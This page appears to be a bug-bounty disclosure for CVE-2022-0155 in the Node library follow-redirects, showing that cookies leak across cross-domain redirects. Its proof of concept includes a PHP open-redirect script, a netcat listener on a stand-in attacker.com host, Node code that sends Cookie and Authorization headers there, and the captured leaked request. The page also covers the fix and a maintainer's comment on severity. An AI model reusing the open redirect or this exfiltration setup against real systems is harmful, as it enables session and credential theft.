Exposure of Private Personal Information to an Unauthorized Actor in follow-redirects/follow-redirects

1

Valid Reported on Jan 5th 2022

BUG

Cookie header leaked to third party site and it allow to hijack victim account

SUMMURY

When fetching a remote url with Cookie if it get `Location` response header then it will follow that url and try to fetch that url with provided cookie . So cookie is leaked here to thirdparty.
Ex: you try to fetch `example.com` with cookie and if it get redirect url to `attacker.com` then it fetch that redirect url with provided cookie .
So, Cookie of `example.com` is leaked to `attacker.com` .
Cookie is standard way to authentication into webapp and you should not leak to other site .
All browser follow same-origin-policy so that when redirect happen browser does not send cookie of `example.com` to `attacker.com` .

FLOW

if you fetch http://mysite.com/redirect.php?url=http://attacker.com:8182/ then it will redirect to http://attacker.com:8182/ .
First setup a webserver and a netcat listner

http://mysite.com/redirect.php?url=http://attacker.com:8182/

```
//redirect.php
<?php
$url=$_GET["url"];
header("Location: $url");

/* Make sure that code below does not get executed when we r
exit;
```

```
?>
```

netcat listner in http://attacker.com

```
nc -lnvp 8182
```

STEP TO RERPODUCE

run bellow code

```
const { http, https } = require('follow-redirects');
//https://github.com/follow-redirects/follow-redirects
const data = JSON.stringify({
    name: 'John Doe',
    job: 'DevOps Specialist'
});

const options = {
    protocol: 'http:',
    hostname: 'mysite.com',
    port: 80,
    path: '/redirect.php?url=http://attacker.com:8182/mm',
    method: 'GET',
    headers: {
        'Content-Type': 'application/json'
        ,'Cookie': 'dsf=sdf',
        "Authorization":"Basic dsfddsf"
    }
};


const req = http.request(options, (res) => {
    let data = '';

    res.on('data', (chunk) => {
        data += chunk;
    });

    res.on('end', () => {
```

```
        console.log(data);
    });


}).on("error", (err) => {
    console.log("Error: ", err.message);
});

//req.write(data);
req.end();
```

response received in attacker netcat

```
Connection from 127.0.0.1 56060 received!
GET /mm HTTP/1.1
Content-Type: application/json
Cookie: dsf=sdf
Host: localhost:8182
Connection: close
```

here see in this response ,it leaked cookie to thirdparty site attacker.com when redirecting .
So, here i provided cookie for mysite.com but due to redirect it leaks to thirdparty site attacker.com
As the redirect happen automatically via follow-redirects, user cant control where to send cookie or where to not sent .
If cookie is provided then cookie will be sent to any redirect url either it same domain url or not .\

SUGGESTED FIX

If provided url domain and redirect url domain is same then you can only send cookie header to redirected url . But if the both domain not same then its a third party site which will be redirected, so you dont need to send Cookie header.

CVE
CVE-2022-0155
(Published)

Vulnerability Type

CWE-359: Exposure of Private Personal Information to an Unauthorized Actor

Severity
High (8)

Visibility
Public

Status
Fixed

Found by

ranjit-git
@ranjit-git
amateur

Fixed by

Ruben Verborgh
@rubenverborgh
maintainer

This report was seen 2,226 times.

We are processing your report and will contact the **follow-redirects** team within 24 hours. a year ago

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` a year ago

Ruben Verborgh validated this vulnerability a year ago

ranjit-git has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Ruben Verborgh marked this as fixed in **1.14.7** with commit **8b347c** a year ago

Ruben Verborgh has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Chat with us

Ruben Verborgh 10 months ago Maintainer

Ruben Verborgh 10 months ago Maintainer

Regarding risk severity assessment (and notwithstanding the correctness of the vulnerability report) I want to note that the number of cases where the Cookie header will be used with follow-redirects is relatively low. The Cookie header is mainly relevant in browser-based scenarios, and follow-redirects is typically not used within the browser, but replaced by its native browser equivalent that would have such protections in place. So I expect occurrences of Cookie to be low, and the number of cases where an actual cross-domain redirect happens is an even smaller subset thereof.

Sign in to join this conversation